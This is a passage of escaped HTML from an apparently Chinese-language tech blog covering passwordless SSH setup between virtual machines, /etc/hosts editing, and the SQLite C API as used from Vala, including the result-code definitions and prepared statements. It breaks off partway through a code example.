端口。\u003c/p\u003e\n\u003ch3 id=\"如何设置免密码登录-ssh\"\u003e如何设置免密码登录 ssh\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh-keygen\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e ~/.ssh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh-copy-id 另外一个虚拟机的用户名@另外一个虚拟机的ip\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh 另外一个虚拟机的用户名@另外一个虚拟机的ip \u003cspan class=\"c1\"\u003e# 测试是否成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意,.ssh目录的权限为700,其下文件authorized_keys和私钥的权限为600。如有问题,请使用 chmod 修改。\u003c/p\u003e\n\u003ch2 id=\"修改-host-文件\"\u003e修改 Host 文件\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo nano /etc/hosts\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e修改方式是 ip + 电脑名称\u003c/p\u003e\n\u003ch2 id=\"c-语言的-sqlite-函数概览\"\u003eC 语言的 SQLite 函数概览\u003c/h2\u003e\n\u003cp\u003e为啥是 C 语言的,因为 Vala 的 SQLite 支持是把 C 语言支持的头文件给“照搬”了。\u003c/p\u003e\n\u003ch3 id=\"基础函数\"\u003e基础函数\u003c/h3\u003e\n\u003cp\u003e通过这个方式来创建一个 SQLite 结构体:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,打开一个数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 文件所在的路径 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppDb\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 对应的 SQLite 结构体 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,来在这个数据库上执行 SQL 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 要执行的数据库 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 执行语句 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite_callback\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调参数 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 接受错误信息的字符串 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用完数据库后,通过这个函数释放数据库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 你需要关闭的数据库 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"函数返回值\"\u003e函数返回值\u003c/h3\u003e\n\u003cp\u003eSQLite 里面的函数在执行的时候,都会有一个返回值。在 C 语言头文件里面,是一堆 define 。以下是 sqlite3.h 文件里面的东西。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** sqlite3.h, version 3.40.0, line 433-476.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** CAPI3REF: Result Codes\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** KEYWORDS: {result code definitions}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 返回值 要点:返回值和定义\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** Many SQLite functions return an integer result code from the set shown\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** here in order to indicate success or failure.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 许多 SQLite 函数的返回值是下面定义的整型,以反映成功/失败状态。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** New error codes may be added in future versions of SQLite.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 新的错误码将会在未来版本加入。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** See also: [extended result code definitions]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 还有扩充版返回值定义:-P\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_OK 0 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Successful result */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* beginning-of-error-codes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* 除了0之外全是出错 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ERROR 1 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Generic error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERNAL 2 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal logic error in SQLite */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PERM 3 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Access permission denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ABORT 4 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_BUSY 5 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database file is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_LOCKED 6 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOMEM 7 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A malloc() failed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_READONLY 8 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERRUPT 9 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Operation terminated by sqlite3_interrupt()*/\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_IOERR 10 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CORRUPT 11 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTFOUND 12 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unknown opcode in sqlite3_file_control() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FULL 13 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CANTOPEN 14 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PROTOCOL 15 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_EMPTY 16 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal use only */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_SCHEMA 17 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database schema changed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_TOOBIG 18 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* String or BLOB exceeds size limit */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CONSTRAINT 19 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Abort due to constraint violation */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISMATCH 20 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Data type mismatch */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISUSE 21 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOLFS 22 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_AUTH 23 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Authorization denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FORMAT 24 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Not used */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_RANGE 25 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 2nd parameter to sqlite3_bind out of range */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTADB 26 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* File opened that is not a database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTICE 27 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Notifications from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_WARNING 28 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Warnings from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ROW 100 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has another row ready */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_DONE 101 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has finished executing */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* end-of-error-codes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e看看 SQLite 的头文件吧,很详细的。\u003c/p\u003e\n\u003ch2 id=\"使用-sqlite-声明\"\u003e使用 SQLite 声明\u003c/h2\u003e\n\u003cp\u003e使用 SQLite 声明来执行 SQL 语句,比直接调用 exec 更高效。\u003c/p\u003e\n\u003cp\u003e首先,你需要写好一个 SQL 语句,碰到待定的地方可以用问号,或者 \u003ccode\u003e$xxx\u003c/code\u003e 等形式表示。以下是我程序里面的示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eADD_HOTEL_DATA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINSERT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINTO\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHOTEL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elocation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprice\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumRooms\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumAvail\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVALUES\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eLOCATION\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ePRICE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eNUMBEROFROOMS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eNUMBEROFAVALIABLE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026#34;\u0026#34;;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后使用这个函数,准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 先初始化一个空的 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的数据库 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezSql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* SQL 语句 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enByte\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串长度 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppStmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 指向一个需要初始化的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 